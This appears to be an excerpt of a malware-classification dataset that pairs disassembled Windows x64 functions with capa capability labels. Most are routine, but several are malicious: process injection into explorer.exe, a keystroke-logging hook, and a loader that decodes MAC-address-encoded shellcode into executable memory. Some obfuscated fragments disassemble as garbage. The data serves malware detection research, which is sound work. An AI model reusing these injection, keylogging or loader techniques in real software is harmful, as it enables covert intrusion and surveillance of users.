joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3b23b2930
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3b26337c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3b26337a0]
test rbx, rbx
je 0x3b23b298c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x3b23b2983
test eax, eax
jne 0x3b23b2983
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3b23b2968
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3b23b2cc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3b259a9a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3b23b2ce0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3b23b2ce8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3b23b2ce0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3b23b2d3d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3b23b2d34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3b23b2ce0
add rax, 0x28
cmp rax, r9
jne 0x3b23b2d20
xor eax, eax
ret

Function at 0x3b23b2d40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3b259a9a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3b23b2d5f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3b23b2d68
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3b23b2d5f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3b23b2e00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3b259a9a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3b23b2e1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3b23b2e28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140003dd0
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
mov eax, 0x1080
call fcn.14000fdd0
sub rsp, rax
mov rax, qword [0x140022010]
xor rax, rsp
mov qword [rsp + 0x1070], rax
mov r14, qword [rsp + 0x10d0]
xor ebx, ebx
mov rbp, r9
mov rdi, r8
mov rsi, rcx
test r8, r8
je 0x140003ef9
mov qword [rsp + 0x38], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x60], rax
lea r9d, [rbx + 0x28]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x48]
mov dword [rsp + 0x28], ebx
mov edx, 0x80862007
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], 0x33
mov qword [rsp + 0x68], 0x1000
mov dword [rsp + 0x40], ebx
call qword [0x140011098]
test eax, eax
jne 0x140003e75
lea rdx, str.____Cant_read_module_headers
jmp 0x140003edd
movsxd rax, dword [rsp + 0xac]
lea rcx, [rsp + 0x70]
add rcx, rax
mov r8d, ebx
movzx eax, word [rcx + 0x14]
lea r10, [rcx + 0x18]
movzx r9d, word [rcx + 6]
add r10, rax
test r9d, r9d
je 0x140003ed6
nop dword [rax]
mov eax, r8d
lea rcx, [rax + rax*4]
cmp dword [r10 + rcx*8], 0x45474150
lea rdx, [r10 + rcx*8]
jne 0x140003ece
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rdx + rax], bl
jne 0x140003ec0
cmp rax, 4
je 0x140003f2d
inc r8d
cmp r8d, r9d
jb 0x140003ea0
lea rdx, str.____Cant_find_section
mov rcx, qword [0x1400112a8]
call fcn.140005ee0
lea rdx, [0x1400060c0]
mov rcx, rax
call qword [0x1400111b0]
mov rdx, rbx
mov r8d, ebx
mov r9, rbp
mov rcx, rsi
mov qword [rsp + 0x20], r14
call fcn.140003bf0
mov rcx, qword [rsp + 0x1070]
xor rcx, rsp
call fcn.14000ebc0
add rsp, 0x1080
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x140003ed6
mov ecx, dword [rdx + 8]
mov edx, eax
lea rax, [rsp + 0x70]
add rax, rdx
je 0x140003ed6
test ecx, ecx
je 0x140003ed6
mov ebx, ecx
add rdx, rdi
jmp 0x140003efc
Function at 0x140001264
Capabilities:
Create thread
Enumerate processes
Inject thread
Resume thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x2b8]
sub rsp, 0x3b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
and dword [rbp + 0x180], 0
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140001415
jmp 0x1400012fc
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscmp
test eax, eax
jne 0x1400012fc
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
jne 0x140001314
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x1400012cd
jmp 0x140001415
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8d, 0x104
lea rdx, [rbp + 0x191]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x191]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea rcx, [rbp + 0x190]
mov byte [rbp + 0x190], 0x22
call fcn.140001950
mov ebx, 0x106
mov dword [rsp + 0x20], 4
mov r8d, ebx
mov r9d, 0x1000
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x190]
mov rdx, rax
mov r9d, ebx
mov rcx, r14
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and qword [rsp + 0x30], 0
xor r8d, r8d
mov r9, qword [0x140005668]
xor edx, edx
mov dword [rsp + 0x28], 4
mov rcx, r14
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0x180]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, qword [0x140005660]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and qword [0x140005660], 0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x140005678], 0
xor eax, eax
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.140001980
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140001850
Capabilities:
Accept command line arguments
Log keystrokes via application hook
Terminate process

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtUserBuildHwndList
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32
mov qword [0x140005680], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov qword [0x140005670], rax
lea rdx, str.WinExec
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005668], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [rsp + 0x20], 1
jle 0x1400018e6
xor ecx, ecx
call fcn.140001264
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r9d, r9d
lea rdx, [0x140001614]
xor r8d, r8d
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
jmp 0x140001927
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001911
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001980
add rsp, 0x68
ret

Function at 0x140002274
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400022be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400022be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400022be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400022be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400022be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400022c0
xor al, al
add rsp, 0x28
ret
Function at 0x1400bafc6
Capabilities:
Encode data using xor

Disassembly:
sub ecx, ebp
popfq
stosd dword [rdi], eax
pop rsi
jmp 0x11ea2cef6
call fcn.1400c764a
and al, 0xbc
in al, 0xdf
in eax, dx
or ecx, eax
loop 0x14009d2a7
sbb bl, ch
xchg rbp, rax
pop rdi
and al, 0xf3
cdq
jb 0x14009d221
invalid
and eax, 0x7e437348
lodsd eax, dword [rsi]
sbb al, 0x1a
mov ecx, 0x5ccd64c8
xor dword [rax], 0xbdc3c0cc
push rcx
add al, 0x2c
rcl dword [rbp - 0x49], 0xf7
lodsd eax, dword [rsi]
pop rsp
sbb edi, dword [rcx + 0xb7765c8]
push rdx
mov ebx, 0x6ba6499c
retf 0x4846
pushfq
add qword [rsp + 0x18], 0xffffffffbff384b1
movabs r10, 0x4c117fa301022f8e
not r10b
xor r10, 0x653b5633
mov qword [rsp + 0x18], 0xffffffffce6b81d3
mov r10, qword [rsp + 0x10]
jbe 0x1400bafda
jno 0x14009d24f
xchg byte [rdx + 0x4d], cl
mov byte [rbp - 0x2ff82dfc], ch
xor byte [rsi], ah
stosd dword [rdi], eax
pop rsi
invalid

Function at 0x14014b000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
and ecx, ecx
mov cl, byte [r10 + 8]
adc r10, 6
shld eax, r8d, cl
mov dword [r10], eax
call fcn.14014178b
mov r11, qword [r9]
mov r10d, 0x342b2939
lea r9, [r10 + r9 - 0x342b2931]
movzx esi, r10w
mov ecx, r10d
mov rbp, r11
inc r10d
lea rax, [rcx*4 - 0x14f9d243]
sar rsi, 0x8e
add rsi, r9
movzx r8d, r10w
sub r8w, r8w
jns 0x140168bf4
mov r11w, word [r9 + r11*2 - 0xc63e45e]
add r9, 0xa
call fcn.14015b0e3

Function at 0x14016646a
Capabilities:
Encode data using xor

Disassembly:
not edi
push 0xffffffffc00667b6
mov dword [r9], edi
lea rsp, [rsp + 8]
jmp fcn.140140475
add r9, 0xc
xor edi, edi
test rbp, rbp
lea rsp, [rsp + 8]
je 0x1401664d0
push r10
mov r10d, 0xd23df82f
mov eax, r10d
xor al, 0xbc
lea rax, [0x14014f7e0]
push 0xffffffffd43c3aae
movzx r10d, byte [rcx]
not word [rsp + 6]
xor r10d, edi
and r10d, 0xff
mov r10d, dword [rax + r10*4]
shr edi, 8
xor edi, r10d
inc rcx
xor edi, 0x1a0e6316
dec rbp
lea rsp, [rsp + 8]
jne 0x140166495
pop r10
jmp 0x140149d09
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x60
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 0x2a8
lea rcx, str._i__SizeOf_MacShell_:__d__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x2a8
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x1400010fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.140001010
lea eax, [rbp - 1]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001220
add rsp, 0x60
pop rbp
ret
mov qword [rsp + 0x70], rbx
lea rcx, str.___LpBaseAddress:_0x_0_16p__n
mov qword [rsp + 0x78], rsi
mov rdx, rbp
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
call fcn.140001010
xor edi, edi
mov qword [rsp + 0x30], 0
lea r12, str.FC_48_83_E4_F0_E8
xor esi, esi
mov rbx, r12
lea r14, [0x1400042e8]
nop word [rax + rax]
mov rcx, qword [rbx]
lea rdx, [rsp + 0x30]
movsxd r8, edi
add r8, rbp
call qword [sym.imp.ntdll.dll_RtlEthernetStringToAddressA]
test eax, eax
js 0x1400011c2
add edi, 6
inc esi
add rbx, 8
cmp rbx, r14
jl 0x140001150
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbp
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.___hit_Enter_To_Exit_...__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 0x2a8
mov r8d, 0x4000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x1400011dd
movsxd rdx, esi
lea rcx, str.____RtlEthernetStringToAddressA_failed_for__s_result__x
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.140001010
mov eax, 0xffffffff
mov r12, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001220
add rsp, 0x60
pop rbp
ret
Function at 0x14001121c
Capabilities:
Terminate process

Disassembly:
jmp 0x140013cd0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400112a8
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015020
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015040
xor al, al
jmp 0x1400150c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015053
xor al, al
jmp 0x1400150c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001507d
xor al, al
jmp 0x1400150c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015091
xor al, al
jmp 0x1400150c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400150a3
xor al, al
jmp 0x1400150c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400150bf
xor al, al
jmp 0x1400150c1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011398
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
jmp 0x140011860
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x10a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [0x140020280]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x1400260a2]
call fcn.1400113bb
nop
mov edx, 0x68
lea rcx, [rbp + 0x370]
call fcn.1400112c1
nop
mov edx, 0x18
lea rcx, [rbp + 0x3f8]
call fcn.1400112c1
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140011908
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetEnvironmentVariableA_error:_d
call fcn.1400111b8
nop
mov r9, qword [rbp + 0x680]
lea r8, [rbp + 0x10]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x140]
call fcn.140011384
nop
lea rdx, [rbp + 0x140]
lea rcx, str.the_path_is_:__s__n
call fcn.1400111b8
nop
lea rax, [rbp + 0x3f8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x370]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400119aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_error:_d
call fcn.1400111b8
nop
mov eax, 1
jmp 0x1400119e8
mov rax, qword [rbp + 0x688]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x690]
mov rcx, qword [rbp + 0x400]
mov qword [rax], rcx
mov r8d, dword [rbp + 0x40c]
mov edx, dword [rbp + 0x408]
lea rcx, str.PID:_d_nID:_d_n
call fcn.1400111b8
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001c9c0]
call fcn.14001134d
mov rax, rdi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret
Function at 0x140012f10
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113e3
movzx eax, al
test eax, eax
jne 0x140012f30
mov ecx, 7
call fcn.140011357
nop
mov byte [rsp + 0x20], 0
call fcn.14001136b
mov byte [rsp + 0x21], al
cmp dword [0x140020ae8], 1
jne 0x140012f54
mov ecx, 7
call fcn.140011357
nop
jmp 0x140012fac
cmp dword [0x140020ae8], 0
jne 0x140012fa7
mov dword [0x140020ae8], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111bd
test eax, eax
je 0x140012f88
mov eax, 0xff
jmp 0x1400130b1
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.140011361
mov dword [0x140020ae8], 2
jmp 0x140012fac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011343
call fcn.1400112d5
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013009
mov rcx, qword [rsp + 0x30]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x140013009
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140027020]
nop
call fcn.140011307
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001303d
mov rcx, qword [rsp + 0x38]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x14001303d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113a2
nop
call fcn.140013160
mov dword [rsp + 0x28], eax
call fcn.1400112a8
movzx eax, al
test eax, eax
jne 0x14001305c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001306b
call fcn.1400113ac
nop
xor edx, edx
mov cl, 1
call fcn.140011154
mov eax, dword [rsp + 0x28]
jmp 0x1400130b1
add rsp, 0x68
ret
Function at 0x140016ef0
Capabilities:
Delete file

Disassembly:
jmp 0x1401bd170
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x10]
call fcn.1401c58e0
mov rax, qword [rbp - 0x10]
mov rsi, qword [rbp - 8]
movabs rbx, 0x8000000000000000
cmp rax, rbx
je 0x1401bd1d0
mov rcx, qword [rbp]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rcx
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x28]
mov r8b, 1
call fcn.1401c74a0
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
cmp rdi, rbx
jne 0x1401bd1dc
mov rax, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
call qword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
je 0x1401bd206
test rdi, rdi
je 0x1401bd232
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.14001bb10
xor eax, eax
jmp 0x1401bd1d3
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
test rdi, rdi
je 0x1401bd1d3
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
mov rsi, rax
call fcn.14001bb10
jmp 0x1401bd1d0
xor eax, eax
jmp 0x1401bd1d3
Function at 0x1400200c0
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rax, rdx
mov rdi, rcx
lea rdx, [rbp - 4]
mov rcx, rax
call sub.shell32.dll_CommandLineToArgvW
test rax, rax
je 0x1400201c2
mov rsi, rax
mov qword [rbp - 0x28], rdi
movsxd rax, dword [rbp - 4]
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 8
mov qword [rbp - 0x10], 0
lea r13, [rsi + rax*8]
lea rbx, [rbp - 0x40]
lea r14, [rbp - 0x58]
lea r15, [rbp - 0x20]
mov rdi, rsi
jmp 0x140020164
add rdi, 8
mov rax, qword [rbp - 0x18]
lea rcx, [r12 + r12*2]
mov rdx, qword [rbp - 0x30]
mov qword [rax + rcx*8 + 0x10], rdx
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rax + rcx*8], xmm0
inc r12
mov qword [rbp - 0x10], r12
cmp rdi, r13
je 0x1400201a5
mov r12, qword [rdi]
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
lea rax, [r12 + rax*2]
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], rax
mov word [rbp - 0x48], 0
mov rcx, rbx
mov rdx, r14
call fcn.14002c720
mov r12, qword [rbp - 0x10]
cmp r12, qword [rbp - 0x20]
jne 0x140020140
mov rcx, r15
call fcn.14002b090
jmp 0x140020140
mov rcx, rsi
call sub.kernel32.dll_LocalFree
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x28]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rcx], xmm0
jmp 0x1400201d9
mov qword [rdi], 0
mov qword [rdi + 8], 8
mov qword [rdi + 0x10], 0
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140022b50
Capabilities:
Reference wmi statements

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 0x20], 0
cmp qword [rdx + 0x10], 0
je 0x140022c4b
mov qword [rbp - 0x10], rdx
lea rcx, [0x1401f1f72]
call sub.oleaut32.dll_SysAllocString
mov rdi, rax
lea rcx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call sub.oleaut32.dll_SysAllocString
mov rbx, rax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov rax, qword [rax + 0xa0]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov r8, rbx
mov r9d, 0x30
call rax
mov r14d, eax
mov rcx, rdi
call sub.oleaut32.dll_SysFreeString
mov rcx, rbx
call sub.oleaut32.dll_SysFreeString
test r14d, r14d
mov rdx, qword [rbp - 0x10]
js 0x140022c4b
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x18], rax
cmp qword [rdx + 0x20], 0
je 0x140022c0f
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x140022c0f
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov qword [rcx + 0x20], 1
mov rax, qword [rbp - 0x18]
mov qword [rcx + 0x28], rax
mov rax, qword [rcx + 0x30]
mov qword [rsi + 0x30], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, qword [rcx + 0x20]
mov qword [rsi + 0x20], rax
mov rax, qword [rcx + 0x28]
mov qword [rsi + 0x28], rax
jmp 0x140022c5a
mov qword [rsi], 2
mov rcx, rdx
call fcn.1400219d0
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret